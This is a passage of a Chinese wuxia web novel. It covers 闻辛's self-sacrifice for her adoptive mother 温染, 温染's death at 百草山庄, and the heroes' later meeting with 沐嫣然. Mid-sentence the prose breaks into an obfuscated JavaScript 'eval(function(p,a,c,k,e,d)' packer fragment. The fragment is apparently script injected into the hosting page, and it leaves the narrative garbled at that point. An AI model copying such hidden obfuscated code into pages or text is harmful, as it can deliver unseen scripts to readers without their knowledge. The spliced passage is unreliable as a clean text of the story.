不多时，秦牧也迈出了铁牢，一脸震惊地看着青黛:“青黛，你……” 不等秦牧说话，青黛就急急忙忙道:“秦叔，庄主她已经疯了，她连少主的性命都不顾了，你快去劝劝她吧！再这样下去，百草山庄就彻底完了！” “那你怎么办？”秦牧睁大眼睛道，“你不是说那个毒妇给你们下了毒么？你放我们走，那你呢？” “什么？！”早已在旁恭候多时的沐灵泽听闻此话，惊讶万分道，“温庄主给你们下了毒？！” 青黛道:“对，整个百草山庄，除了少主和辛姐姐，还有秦叔，庄主她给每个人都下了毒，如果我们敢背叛她，她就会让我们痛不欲生。” 沐灵泽道:“那你放了我们，你岂不是……” “没时间了，快走！边走边说！”青黛抓着秦牧就往地牢外跑去，兄弟二人紧随其后。 原来方才温染给了杨冲一耳光，让他死一边时，青黛就对旁边的半夏几人撒谎说自己肚子疼，借机跑了。 她不能眼睁睁地看着杨冲去送死，以他那讲义气的性子，指不定真的甘愿为柳惜朝赴死。她也不能再看温染继续错下去，早晚有一天会遭报应的。 秦牧火急火燎地往这边赶来，还没到跟前，就瞥见杨冲为了保护柳惜朝，胳膊上挨了一剑。 秦牧吓得脸都白了:这可是他大哥唯一的骨血！ 他当即便施展轻功到众人跟前，大声吼道:“住手！都给我住手！！” 所有人都被秦牧这一嗓子吼得立在了原地。 杨冲愕然道:“秦叔？！你怎么在这儿？！你不是……” “沐灵泽沐辰风！”洛纤凝万万没想到这两人不仅没被炼成丹，还生龙活虎的。她也顾不上自己胳膊上被闻辛砍过的伤了，欢天喜地叫道:“你们两个没死啊？！吓死我了！” 兄弟俩奔了过来，沐灵泽道:“洛纤凝，你受伤了？还有大师兄和林师姐，你们还好么？” “现在不是说这个的时候！”洛纤凝伸出一只手，将沐灵泽的脑袋摁了过来，悄悄摸摸地同他说起了什么，沐辰风见状，十分自觉地凑了过去。 见到秦牧，温染也很是震惊，但很快，她就明白了过来。她眉心一蹙，厉声道:“青黛！你竟然敢背叛我！！” 青黛躲在秦牧身后，闻言，鼓起勇气道:“庄主！您不能再错下去了！这两年来，每当我闭上眼睛，就总能梦见那些被我们害死的孩子！庄主，我求您了，您就放过我们吧！再这样下去，我们会遭天打雷劈的！” “什么天打雷劈，我才不信！”温染恨得已是睚眦欲裂，“辛儿，给我杀了她！背叛我的人，都得死！！” 闻辛立刻照做，软剑顷刻间就朝青黛使去，却被秦牧出手拦住。 秦牧横剑挡在二人中间，语重心长地劝道:“辛儿！别再执迷不悟了！你到底知不知道你们在做什么？！” “我知道！”闻辛挥剑挑开秦牧的攻击，声音铿锵有力，“义母就算把整个乌县的人全都杀光，我也不会觉得她有错！” “你！”秦牧怒极，但即便如此，他还是不舍得对闻辛下重手，再加上他已年过四十，就更不是闻辛的对手了。 不过幸好还有青黛。 青黛冲了过来，对秦牧道:“秦叔！我来帮你！” 闻辛被左右夹击的场面正好落入洛纤凝的眼中，洛纤凝知道机会来了，遂赶忙对沐灵泽道:“擒贼先擒王，沐灵泽，就是现在！” 话音落，二人飞身就朝台阶上的温染掠去，沐辰风则趁机拖住其他弟子。 余光瞥见洛纤凝朝自己飞来，温染瞬间慌得手足无措，幸好她身侧还有半夏、白芷和茯苓三人，将她挡得严严实实。 沐灵泽负责引开白芷和茯苓，洛纤凝则与半夏缠斗了起来。凌云剑狠狠地击打在半夏的剑刃上，半夏很快就招架不住了，然而洛纤凝此刻也已精疲力尽。她不再恋战，作势要刺半夏的要害，实则趁机朝后一退，闪身至温染身侧，一把抓住她的肩膀，将长剑架在了她的脖颈前。 “都住手！”洛纤凝大喝道。 闻辛一掌将秦牧劈去一边，回身一看，登时大惊失色:“义母！！！” 洛纤凝盯着温染的后脑勺，威胁道:“温庄主，把解药交出来，否则我现在就杀了你！” “不要伤我娘！洛妹妹！不要伤我娘！”杨冲掀开众弟子跑上前来，用恳求的目光看着洛纤凝。 洛纤凝怎能无动于衷，毕竟温染是杨冲的母亲，她当然不会真的杀她了，她只想要解药。 温染似乎知道洛纤凝在想什么，笑得有恃无恐:“都别管我！她不敢杀我！” “是么？”洛纤凝一听这话，一下就来劲了。她右手往上，将冰冷的剑身贴在温染的脸上，挑衅道:“那如果我划烂你的脸，你也觉得我不敢么？！” 温染顿时变色，但仍故作镇静道:“此毒没有解药，你就算把我的脸划烂也没有！” 这人真是不见棺材不落泪。思忖片刻后，洛纤凝微微笑道:“哦，这样啊，那我就只能用你的脸试一试了，看看到底有没有解药。”又转向杨冲，疾言厉色道:“杨大哥，你不要怪我，你娘她都要杀我们了，我不杀她，已经格外大方了！” 说罢长剑一横，作势就要划温染的脸，就听闻辛喊道:“不要伤我义母！解药在我这儿！！” “……早说不就没事了么？”洛纤凝在心中长出了一口气，将剑移回了原位。 闻辛十分不情愿地从怀中拿出了解药，扔给了柳惜朝。 洛纤凝依旧挟持着温染，一动都敢不动，直到看见林惜英和柳惜朝服下解药，良久之后行动自如，心弦才终于一松，一掌推开了温染。 闻辛立即朝温染扑了过来，生怕她再出什么意外。 沐灵泽也立即朝洛纤凝扑了过来，抓住她的胳膊道:“没事吧？你看看你的脸色，快休息一会儿，我保护你！” 温染简直被洛纤凝给气个半死，指着洛纤凝和沐灵泽道:“给我杀了他们！还有这个逆子！也一块儿给我杀了！！” 刚才洛纤凝要划她的脸，这个逆子竟然一点都不拦着！ 秦牧没料到温染竟狠心至此，扯开嗓子朝温染大骂道:“温染！你这个毒妇！果然，娼妓无情啊！你竟然连自己的亲生儿子都下得去手！你简直丧尽天良啊！” 此话一出，满座皆惊，众弟子更是面面相觑，举剑不动。 他们方才听到了什么？娼妓？温染是娼妓出身？这可真是闻所未闻！ 杨冲更是震惊得无以复加。他拔腿就朝秦牧跑了过去，目光狠厉道:“秦叔，你方才说什么？什么娼妓？你怎能如此辱骂我娘？！” 虽然温染口口声声说要连他一块儿杀，但他了解她，她只是气极了，口不择言罢了。他绝不能容忍有人如此辱骂自己的母亲，更何况这人还是从小教自己武功的秦叔。 秦牧叹了口气，道:“冲儿，我并未辱骂你娘，而是你娘她本来就是个娼妓！” 杨冲都快疯了，这么多人都在盯着他和温染看，他感觉自己的脸面，自己的尊严，在此刻荡然无存！ 他不敢想象以后从那些弟子面前走过，他们会在心里怎样嘲笑他！ “你在胡说八道什么？！我娘她是大家闺秀！她怎么可能会是你口中的娼妓？！你立刻向我娘道歉！！” 他还是不愿相信，他迫切地希望秦牧能改口，可秦牧恨都恨死温染了，哪还有改口的道理。 秦牧看着眼前这个自己一手教大的天之骄子，最终还是没能忍住，神色肃然道:“什么大家闺秀？冲儿，你娘她从前的的确确就是个娼妓！是你父亲为她赎的身，可她却恩将仇报，亲手杀死了你父亲！如今倒好，连我也不放过，给我下毒，把我关在地牢里，甚至还想杀了我！是她无情无义在先，我也没必要给她留脸面了！” 话音落，众弟子越发吃惊了:杨开竟是温染杀的？他不是试药的时候把自己给毒死的么？不仅如此，温染还想杀秦牧？整个百草山庄谁人不知秦牧对温染一片真心，只是碍于叔嫂的身份始终没能光明正大地在一起。 “不可能！这不可能 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不，暴露的又岂止是她的伤疤，而是她的整个身体！她的全部！ 杨冲还在继续大喊着:“娘！你说话啊！我爹到底是不是你杀的？！你到底是不是……你不是说你出身大户人家，后来家里败落了，一路流亡至此，才嫁给我爹的么？！你说话啊！你为什么要骗我说你是大家闺秀？！你为什么要把我生下来？！为什么要让我成为一个笑话？！为什么？！！” 然而温染还是没有说话，一双漂亮的丹凤眼在此刻风采尽失，唯余愤怒，伤心，失望，和困惑。 她用这种诸多要素混杂在一起的目光看着自己养育了整整二十年的儿子，亲生儿子，不敢相信这话竟是从他口中而出。但她没料到，与她复杂目光一起到来的，还有闻辛的一个耳光。 闻辛一个耳光甩在了杨冲的脸上，声音之大，令在场之人皆是一怔。 “……辛姐姐？你打我做……” 话未说完，又是一个耳光，比方才的更加响亮。 杨冲彻底不说话了。他捂着自己被打红的脸颊，双眼含泪，目不斜视地盯着闻辛，等待着她接下来要训斥自己的话，可是足足半晌过去了，都不见她张口。 母亲，养女，儿子，三个人就这样杵在原地动也不动地凝望着彼此，好长时间过去了，谁都没有说话。谁都知道彼此的心里在想什么，但谁都没有拆穿。 良久之后，杨冲踉跄着朝后退去，没退几步便瘫倒在地，像个孩子一样嚎啕大哭了起来。 他从未被母亲和辛姐姐用这种眼神审视过，失望，绝望，就好像他犯了什么弥天大错一样。 闻辛这时才张开了口，她直视着秦牧，像审问犯人一般，掷地有声道:“我义母即便是青楼女子，那又如何？！她被自己贪财的父亲卖去了青楼，这难道是她的错么？！不，这不是她的错，错的是她的父亲，是这个不公的世道！秦叔，你实在不该于大庭广众之下揭我义母的伤疤！从今往后，我闻辛再也没有你这个师父！” 又转向杨冲，恨铁不成钢道:“杨冲，你以为你爹是什么好东西！他是为义母赎了身不假，可他与义母成婚后不久，就开始嫌弃义母的出身，觉得义母是青楼女子，不配做他的夫人！这些义母都可以忍，因为义母还有你！可是后来，他竟听信谣言，觉得你不是他的亲生儿子！你说，这教义母如何忍得了？！是他先负了义母，是他先与别的女子眉来眼去，还动辄对义母拳脚相加！义母杀他，是他罪有应得！即便义母不杀他，终有一日，我也一定会手刃他！” “可是……可是他再怎么说也是我爹啊！”杨冲泪眼朦胧地望着闻辛，替自己死去多时的父亲申冤道，“他是有错，可他罪不至死啊！” 闻辛三两步来到杨冲面前，抓住他的衣襟，将他从地上拎了起来，目光宛若利刃:“你可知幼时，每一次义母被那个混蛋痛打之前，都会让我将你带去偏僻之处，可是你呢？杨冲，你是怎么做的？！你在听闻义母身世之时，第一反应不是心疼自己的母亲，而是觉得她的身世给你带来了耻辱！你不配，杨冲，你不配做义母的儿子！！” 一番言语，字字珠玑，句句在理，令杨冲实在无言反驳。 他觉得自己这辈子再也无颜面对母亲了。 闻辛一个义女尚能如此心疼母亲，可他作为母亲的亲生儿子，却没能做到这一点。 他想狡辩些什么，可闻辛再也没有耐心与他多说一个字，一掌推出，他便狠狠地摔倒在了地上。 “冲儿！”秦牧赶忙上前两步，一边将杨冲扶起，一边对闻辛道:“辛儿！你这是做什么？！你若当真为了你义母好，就赶紧劝她随我们去见官！不要逼我们来硬的！” 37. 人间25 “随你们去见官？”温染忽然出声，随即大笑了起来，笑完之后，又是一副死不悔改的样子，“随你们去见官，我还能活得了么？既然横竖都是死路一条，那不如我们大家今天一起死！黄泉路上也好做个伴！” 秦牧:“……疯了！这女人简直疯了！” 柳惜朝此时也终于回过神来，面朝温染，大声痛斥道:“温庄主，我知道你从前也许过得很苦，可你有没有想过，你经历过的痛苦和磨难，不是你去伤害别人的理由！那些被你杀害的孩子才多大？你可知他们的母亲经历了多少痛苦才将他们带来这人世间！而你，随随便便轻而易举就毁掉了他们的希望！” 虽然她很同情温染的遭遇，但这并不是她可以胡乱作恶的理由。 “希望？什么希望？！”温染嗤笑一声，露出了不以为意的表情，“我杀的，都是穷苦人家的孩子，这些孩子将来长大后，只会有无穷无尽的苦难！他们的希望又在哪里？！我这么做，是在拯救他们！你们这群高高在上只会讲大道理的人懂什么？！” 头一次听到如此惊世骇俗的言论，五个人惊得下巴都快掉到了地上。 沐灵泽张大嘴巴感叹道:“果然，人不要脸，天下无敌啊！” 洛纤凝也觉得此人脸皮之厚，无人能敌，亏她方才还为此人的遭遇而感到不平，结果此人转头就去祸害别人，还如此大言不惭！ 她浓眉倒竖，咬牙切齿地骂道:“你拯救个屁啊！你分明就是想用这些孩子的血来炼你的驻颜丹和长生不老药！说得倒是好听！你夜半入睡时，难道不怕这些孩子来找你索命么？！” “索命？”温染皱眉看着洛纤凝，忽然仰天一笑，朗声道:“笑话！我连活人都不怕，还怕死人不成？！况且我都说了我是在拯救他们，他们怎好意思恩将仇报，反过来索恩人的命？！” 林惜英心道:“此话前半句确实不假，活人可比死人可怕多了。不过后半句可就不对了，一个人的性命只属于他自己，她凭何替别人的性命做主？” 沐辰风则骂得更狠更直接:“你这女人，真是不要脸！我长这么大，还从未见过像你这样不要脸的女人！把害人说得如此清新脱俗，简直无耻至极恶毒至极不要脸至极！看小爷我今天不把你碾成粉末！” 洛纤凝道:“我们一起上，揍她！” 五个人二话不说，抄起家伙就朝温染一行人砍去。温染急忙对众弟子喊道:“你们都愣着干什么？！不想要解药了么？！” 众弟子只好又围了过来，将五个人团团围住。 柳惜朝道:“温庄主！别再执迷不悟了！即便我们不是你们的对手，你们也休想抓到我们！等我们下了山，定将此事告知乌县百姓，你觉得到时那些百姓会放过你们么？！” 这话的确有理。闻辛心道:“他们五个已是所向披靡，再加上秦叔和青黛，还有冲儿，我们已经没有任何胜算了。” 看来今日注定是一场死局。 柳惜朝又道:“温庄主！收手吧！随我们去见官！你若主动投案，兴许能从轻发落！” 温染轻蔑一笑，道:“想让我随你们去见官，我宁可一头撞死在这里！都给我上！杀了他们！！” “等等！”闻辛忽然出声，制止他们道。 温染扭头看她，眉心轻蹙:“辛儿，你这是做什么？” 闻辛偏头望着温染，唇边笑意温柔，泪光自眼中一闪而过:“义母放心，辛儿一定为义母杀出一条血路。” 说罢不等温染多问，抬脚迈下台阶，朝五个人走去，声音洪亮道:“柳公子，我想与你比试一场，如果我赢了，你就给我义母一个改过自新的机会，我随你去见官，如果我输了，我们两个都随你去见官，如何？” “辛儿！”温染上前一步喊道，她不明白闻辛在发什么疯，莫非她也想背叛她？ 不，这不可能。 洛纤凝也很是纳闷，这个闻辛又在打什么歪主意？ 然而不等她开口劝阻，柳惜朝便十分果断地答应了下来:“好！一言为定！” 闻辛与洛纤凝鏖战已久，方才又被秦牧和青黛伤过，想必此刻也没剩下多少精力了，他没道理输给她。虽然他也受了伤，但好在他自小身强体壮，因此这点伤于他而言根本算不得什么。 众弟子纷纷后退，将比试的场地让了出来，洛纤凝和林惜英等人也退到了后面。 眨眼间，两个人的武器就碰撞在了一起。闻辛的软剑忽而缠着柳惜朝的涤恶剑，忽而绷直如枪，直刺柳惜朝的心窝，但都被柳惜朝侧身躲过。 沐灵泽不禁为柳惜朝捏了一把汗，毕竟听秦牧说，闻辛可是个百年难得一遇的武学奇才，而且他与闻辛交过手，她的功夫并不在他之下。 乌云阴沉沉地压了过来，二人的长剑在空中划出一道又一道凄厉的弧线，闻辛不知怎的，一下就落了下风，被柳惜朝逼得连连后退。 洛纤凝得意道:“辛姐姐还是太急躁了，没有大师兄沉稳，且看大师兄如何将她擒住！” 然而她得意了没多久，就看见闻辛手中的剑“咣当”一声掉在了地上，整个人直直地扑向了柳惜朝…… 柳惜朝挥剑躲过闻辛的攻击，一剑刺出，却没料到闻辛忽然撤掉了挡在自己身前的剑，像是求死一般，将自己的身躯撞了上来。 这让他始料不及，这么短的距离，他根本来不及收手！ 于是下一刻，涤恶剑便牢牢地穿透了闻辛的前胸和后背，白晃晃的剑身上，满是闻辛的血。 所有人都被闻辛这突如其来的一番举动给惊呆了，不明白她为何明明可以躲过那一剑，却忽然自寻死路。 她方才不还是一副血战到底的模样么？ “辛姐姐！！！”杨冲和青黛齐声喊道。 闻辛面色苍白地盯着面前那个正义凛然的年轻男子，忍着剧痛，一字一字，清晰无比，却又略带哀求地道:“一切都是我干的！那些孩子是我抓上山的！我才是主谋！放过她，我求你们……放过她！给她一次……改过自新的……机会！” 说完这话，她咬着牙，猛地朝后一退，将自己的身躯撤离了涤恶剑。 她本就伤到了要害，此番长剑离身，只觉眼前天旋地转，再也找不到能够支撑自己的点。 她闭上眼睛朝后倒去，听见了杨冲和义母的声音，然后又是义母的声音。 义母一把掀开杨冲，将她抱在怀里，嘶声力竭地质问她:“为什么？辛儿，为什么？！” “因为……”她伸出自己的手，紧紧地握住义母的手，就像很多年以前，义母握住她的手，将她带回百草山庄…… “因为……您是辛儿的母亲，女儿为母亲赴死，天经……地义……” 她没有力气再说下去了，她知道自己就快死了，可是她真的好开心。 这可是她这许多年来，第一次被义母抱在怀里。 这种感觉真的好熟悉，就像十几年前，她刚来到百草山庄…… 都说人在临死前，想起的最后一个人，会是自己此生最在乎的人。 她想起的，是很多年以前，她因为饥饿难耐，跑去路边包子铺抢了两个包子，结果还没开始吃，就被老板逮到了。 就在她以为自己会挨一顿毒打的时候，一个紫衣女子毫无征兆地出现在她的面前，对老板说:“多少钱？我替她付了。” 在那之后不久，她就成为了紫衣女子的义女，被她带回了家中。 义母？她当时心想，真好，她又有母亲了。 但让她感到意外的是，义母还有一个丈夫，她的丈夫对义母一点也不好，动辄对义母拳脚相加。 她不明白，明明义母那么美，那么好，那么温柔，他怎么忍心下得去手？ 他根本就配不上义母，不配拥有这么好的妻子。 她记得那是很冷的一天，外面飘着雪，她站在冰天雪地之中，又一次听见了义母的惨叫声。 她再也忍不下去了，踢开房门，拔剑就朝义父砍了过去。 她想像砍死亲生父亲一样砍死义父。她绝对不能再失去母亲了。 可那时的她如何能敌得过义父。 义父一脚将她踹翻在地，鞭子调转方向就朝她挥了过来。她害怕极了，直到她看见义母没有丝毫犹豫，义无反顾地扑向她，替她挡下那重重一鞭…… 不，不止一鞭。 那个时候她就发誓，这辈子，命都是义母的。 天空阴云密布，转瞬便下起了雨点子，打在了温染明艳动人却又毫无生气的脸颊上。 温染整个人都傻了。她什么结局都想到了，却唯独没有想到闻辛为了她，竟然可以连命都不要，还把错都揽到自己身上。 她喃喃自语道:“傻不傻？我又不是你亲娘。” 然而闻辛并未听到这句话，她已经和她的亲生母亲一样，永远地闭上了眼睛，再也不会睁开了。 众人这才反应过来，闻辛早知自己难逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘！！！”杨冲膝行向前，抱住温染向后倾倒的尸身，哭得面目都扭曲了。 温染在临死前，拼尽全力说出了五个字:“解药……在……后山……” 无一个字留给杨冲。 众弟子听见这话，俱是一愣，随即成群结队朝后山跑去，欣喜之情溢于言表。四姐妹除了青黛，其余三人也都跑了，最后只剩下八个活人，和两个死人，依旧杵在原地，一动不动。 短短半日不到，就接连失去了至亲和至爱，换做任何人都是无法接受的。 七个人大气都不敢出一下，生怕惊扰到杨冲，成为他的发泄对象。 柳惜朝更害怕了。 可人越是害怕什么，就越是会遇到什么。 杨冲忽然抬起头来，眼尾发红地看向他们五个人，看得柳惜朝毛骨悚然。 他说:“都是因为你们，都是因为你们！如果不是因为你们五个，我娘和辛姐姐就不会死！我就不会失去我唯一的亲人！！” 他发疯一般朝柳惜朝扑了过去，抓住他的衣襟，声色俱厉地问道:“为什么？你们到底为什么一定要逼死我娘和辛姐姐？！为什么就不能给她们一次改过自新的机会？！为什么？！！” 柳惜朝被他摇来晃去，险些要站不稳。他想反驳他，可话到嘴边，却死活说不出口。 这时，洛纤凝冲了上来，将杨冲一把推开，义正言辞道:“杨大哥，你这话就不对了，你娘和辛姐姐她们杀了多少无辜的幼童？我们给她们机会，那谁给那些无辜枉死的幼童机会？！逼死她们的，是她们自己！如果我们不这样做，那以后死的人只会更多！你难道要眼睁睁地看着她们犯下更大的错么？！我大师兄他没有错！错的是你娘和辛姐姐！我知道你很伤心，但你这样说，就不怕我大师兄伤心么？！” 杨冲无助地蹲在地上，抱头大哭了起来。 其实他心知肚明，这一切并不是柳惜朝的错，可他的母亲和心上人死了，他总要找个人发泄一通。 良久之后，他擦了擦眼泪，道:“柳兄，你们走吧，以后别来找我了，等我想通了，自会去长绝山找你们。” 他说这话时，依旧蹲在地上，并且低着头，不知道是不想看柳惜朝，还是不敢看柳惜朝。 柳惜朝愣怔一瞬后，道:“好，我们等你。” 38. 人间26 一切都已尘埃落定，五个人转身朝山下走去，林惜英忽然道:“等等。” 洛纤凝回头看她:“怎么了？” 林惜英没有回答，抓住她的手腕朝青黛走去。 青黛正在望着杨冲发呆，余光瞥见一红一蓝两道身影向她靠近，直到走到跟前，她才回过神来，擦了擦眼泪，对二人道:“两位妹妹放心，待我处理完庄中事宜，自会带半夏她们去官府请罪。” 林惜英道:“不是这事。不知可否麻烦青黛姐姐帮我师妹把个脉，看看她是否中毒。” 沐灵泽不知何时也跟了过来，听见林惜英这话，急道:“什么？！洛纤凝，你也中毒啦？！那你刚才怎么好好的？！” 洛纤凝斜他一眼，道:“我怎么知道。” 青黛把完脉后，面色平静道:“洛姑娘并未有中毒的迹象。” 林惜英还是不相信:“可是她方才也喝了毒酒。” “那就奇怪了。”青黛若有所思道，“莫非洛姑娘是百毒不侵体质？” “百毒不侵？！”沐灵泽讶然道。 这世上竟然真的有人能百毒不侵？ 青黛道:“我从前听说过许多奇闻异事，说是有人无意间吃了某种奇怪的东西，从此百毒不侵，但也只是听说，从未亲眼目睹。” 洛纤凝道:“可是我此前一直待在长绝山上，什么奇怪的东西都没有吃过啊。” 青黛摇了摇头，道:“那我就不知道了，但我可以肯定，洛姑娘的确未中毒，还请林姑娘放心。” 林惜英这才放下心来，长出一口气道:“那就好。” 由于洛纤凝、林惜英和柳惜朝三个人皆受了伤，一行人没敢走太远，在乌县找了家客栈暂时住下，打算修养两天再离开。 两日来，柳惜朝把自己关在房间里，不吃不喝，也不让人进去。 洛纤凝站在房门外，很是焦急道:“大师兄，你说你这是干嘛，你又没有错，干嘛用别人的错来惩罚自己？” 沐灵泽趴在门缝边，道:“大师兄，要不你打我们俩一顿吧，但是请你千万不要赶我们俩走，我们俩只是一时鬼迷心窍，我保证，以后我们两个再也不乱跑了！” “对对对！”沐辰风也凑了过来，贴在房门上道，“大师兄，你就别生气了，生气对身体不好，实在不行你出来打我们一顿……” 话未说完，后脑勺就传来一阵剧痛。 沐辰风脑袋一拧，大声吼道:“洛纤凝！你又打我们干什么？！” 洛纤凝抱着胳膊道:“不是你们自己说让我们打你们一顿么？” 沐辰风:“我那是让大师兄打，又没让你打！” 洛纤凝:“有什么区别么？不还是要挨打？况且我下手已经很轻了。”说罢吹了吹自己的手掌心，朝自己的房间走去，边吹边道:“疼死我了……” 沐辰风:“……” 沐灵泽:“……算了，其实也没多疼，忍忍就过去了。” 洛纤凝回到房间，在窗边踱来踱去，支着下巴道:“师姐，我还是没想明白，温庄主她为什么要寻死？没准她求求大师兄，大师兄就真的放过她了呢！你说她干嘛非要……难道是因为愧疚？这不太像她呀！” 一想到温染自尽时的凄惨模样，她就觉得瘆得慌。 她从来没有见过那么多的血从一个人的身上冒出来，太可怕了。 从前挨了那么多打，如今又流了这么多血，这加在一起得有多疼啊。 这人坏是真坏，可怜也是真可怜，以至于她想讨厌她都讨厌不起来。 林惜英抿了口茶，淡声道:“谁知道呢，我们又不是她，怎知她心中所想。” “唉！”洛纤凝一屁股坐在凳子上，仰天长叹道，“这母女俩，一个杀夫，一个杀父，简直绝配啊！” “噗！”林惜英没忍住一口茶喷了出来，溅到了衣袖上。她扭头去看洛纤凝，眉心轻蹙道:“这个词是这么用的么？” 洛纤凝:“……字造出来不就是给人用的嘛！” 林惜英:“……” 她竟无言以对。 沉思片刻，洛纤凝又道:“看来沐灵泽说得没错，一个人长得太美，有时确实不是件好事。就像温庄主，好心为那些百姓看病，可最后换来的却是流言蜚语和一身的伤，难怪她抓那些孩子炼丹的时候，没有一丝心软。” 林惜英抬眸看她:“怎么，你现在不讨厌她了？不觉得她丧尽天良了？” 洛纤凝恼怒道:“那我怎么知道她以前被那些百姓造过谣！要是沐灵泽早点告诉我，没准我也会心软，放她一马呢！”说到这儿，又觉得这话不对，忙改口道:“可是那些孩子是无辜的，他们又没有造过谣，而且那么多百姓，总不至于个个都喜欢造谣吧？唉，我也不知道该怎么办了，我看我还是去睡觉吧，人都死了，现在说这些还有什么用。” “的确，”林惜英垂下眼帘，喃喃自语道，“人都死了，说什么都没用了。” 只能祝愿她们下辈子投胎到一个好人家，一辈子衣食无忧，再也不用为了生计颠沛流离，遭人欺辱。 离开乌县后，五个人不知道该往哪儿去，沿着官道一路往前，最终来到了一片巨大的树林中乘起了凉。 洛纤凝背靠一棵大树，闲来无事，问身边的人:“沐灵泽，你说你偷驻颜丹是为了哄你阿姐开心？你阿姐平时很不开心么？” 难得洛纤凝对自己的家事感兴趣，沐灵泽正欲回答，怎料却被沐辰风抢了先。沐辰风道:“那可不！你是不知道，我堂姐啊，一天到晚，不，是一年四季她都板着一张脸，就好像谁欠了她十万两黄金似的，简直比鬼还可……” “沐辰风！”最后一个字还没来得及说完，就被沐灵泽张口打断，“不许这么说我阿姐！再说小心我揍你！” 沐辰风扁了扁嘴，别过脸去:“好吧，不说了，哼！” 一年四季都板着一张脸？洛纤凝心道:“怎么感觉沐灵泽的阿姐和师姐还有琼芳长老这么像？这世上怎么这么多一天到晚都板着一张脸的人？是因为笑多了容易长皱纹么？” 她记得小时候问过林惜英这个问题，当时林惜英很不耐烦地回答她:“因为笑多了容易长皱纹，会变老，变丑。” 短短一句话，吓得她好几天都没敢笑，每天都绷着一张脸，任谁和她说话她都一个表情，只一双眼睛睁得老大。大师兄和二师兄觉得她很是不对劲，以为她在练什么神秘的法术，遂上前询问缘由。她将林惜英的原话告知他们两个，不成想他们两个竟笑得前仰后合，险些从台阶上滚下去…… 不过后来她还是没忍住，因为这世间好笑的人和事实在是太多了，光长绝山上就一大堆，真不知道林惜英是怎么忍住不笑的。 她捏了捏自己软绵绵的脸蛋，还想再问些关于沐灵泽阿姐的事，反正闲着也是闲着，但就在她即将开口之时，耳畔忽然传来一阵悠扬的琴声。 这琴声来得猝不及防，五个人不由怔了一下。 洛纤凝道:“谁在弹琴？比琼芳长老弹得还好。” 她记得幼时想和琼芳长老学琴来着，结果刚走到琼芳长老跟前，就被她一个眼神给吓了回去，遂作罢，不再提。 这琴声很是悲凉，比琼芳长老的琴声还要悲凉，就像深秋里断了线的风筝，在冷风中打着旋儿坠落，又像人之将死，却死不瞑目。 大概是经常与师父琴箫相和的缘故，林惜英情不自禁地解下腰间的玉箫，送到唇边，吹奏了起来。 果然，但听琴声停顿了一下，旋即又恢复如常。 一曲奏完，琴箫皆停，不过须臾，便听一阵整齐划一的脚步声传来。 五个人站直身子循声望去，只见四名手持长剑的年轻男女正大步流星地朝他们走来，为首之人是一名碧衫翠袖的女子，约摸二十五六岁的年纪，眉似远山眼似鹰，步伐迅疾如闪电，瞳色与唇色都极淡，身高与寻常男子无异。随着她的到来，仿佛有一股强劲的冷风刮在了众人的面颊上，又蛇一般地由面颊窜入了衣襟深处，周身上下倏地一凉。 如果说林惜英的脸上刻着“冷若冰霜，生人勿近”这八个字，那么此女子的脸上则刻着“苦大仇深，熟人勿近”这八个字。 看清来人面目后，沐辰风似见了鬼一般，一溜烟地跑到沐灵泽身后躲了起来，口中喊道:“妈呀鬼来了！快！阿泽，快挡住我！” 洛纤凝一见沐辰风这怂态，便知这女子十有八九就是沐灵泽的阿姐了。她暗自叹道:怪不得沐辰风一谈到他的堂姐，立刻色变，光是看这女子的身高和走路的架势，就知道是个不好惹的，感 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沐灵泽摸了摸鼻子，低下头不再言语。沐辰风则依旧躲在沐灵泽的身后颤颤发抖，不敢出来，就连路少川和江少白向他挥手微笑，他也不敢笑回去，生怕沐嫣然冲过来给他一巴掌，然后骂他:“笑！你还有脸笑！给我跪下！！” 沐嫣然懒得理他们两个，转头看向洛、林、柳三人，瞥见林惜英手中握着一支玉箫，便知方才与她合奏之人，正是这位容貌绝佳、气质出尘的少女。 她十分费劲才将嘴角扯出了一丝若有若无的弧度，道:“姑娘的曲子吹得甚是好听，看这身打扮，想必也是江湖中人，不知如何称呼？” 林惜英微微颔首道:“在下长绝山琼芳长老座下弟子，林惜英，这位是我们长绝山的大师兄，柳惜朝，这位是我的师妹，洛纤凝。” 沐嫣然了然道:“原来是长绝剑仙的弟子，久仰大名。” 柳惜朝上前一步道:“听闻碧落门门主逢妖必出，碧霄剑出，妖邪四散，今日一见，果真不凡。” 他此前很少去过西祁，因为太过遥远，疆土也不及南北两国辽阔，而且听闻碧落门实力不容小觑，很少有他们降服不了的妖，因此觉得没有去的必要。 这样的言辞并非第一次听到，沐嫣然谦虚道:“柳少侠过奖了，都是他们瞎传的，当不得真。” 洛纤凝立在一旁，望着沐辰风战战兢兢的身躯，突然，眼珠一转，故意提高声音道:“一点都不过奖！沐姐姐，你是不知道，沐辰风他经常在我们面前夸您呢！” “哦？”沐嫣然闻言，转动脖颈看向洛纤凝。 但见这少女面容清秀，笑容明媚，如同寒冬腊月中的一缕阳光，令人心中一暖。 这说话的语气和神态，倒是与沐灵泽沐辰风挺像，想必这三人是极投缘的。 “他夸我什么？”沐嫣然语气平淡，并未抱有太大希望。 “他呀，说您比……”话未说完，就被沐辰风飞扑过来牢牢地捂住了嘴。 沐嫣然眉心一蹙，显然已经猜到了答案。 林惜英和柳惜朝像是知道洛纤凝要说什么，低下头憋着笑。 沐灵泽自然是不希望洛纤凝将那句话说完整的，虽然那句话不是他说的，但他并不想看自己的阿姐不快，怎奈何沐辰风跑得比鬼还快，也就没有用得着他的地方了。 沐辰风捂着洛纤凝的嘴，用眼神恳求她:“我的好姐姐，我求您了，别说，好么？” 洛纤凝也用眼神对他说:“现在知道怕了？晚了！” 沐辰风快速地眨了眨眼:“我答应你，以后我再也不嘴贱了，我什么都听你的，你说东，我绝对不敢往西！” 洛纤凝这才勉强答应放过他，撒开他的手，冲沐嫣然笑道:“沐姐姐，他呀，说您不仅功夫好，而且比天仙还要美！今日一见，果不其然，简直比我师姐还要美！” 不知道林惜英是何心情，反正沐辰风是长长地舒了一口气。 比鬼还可怕——这几个字一旦被洛纤凝说出口，他日后恐怕又要被沐嫣然罚跪且关禁闭了。 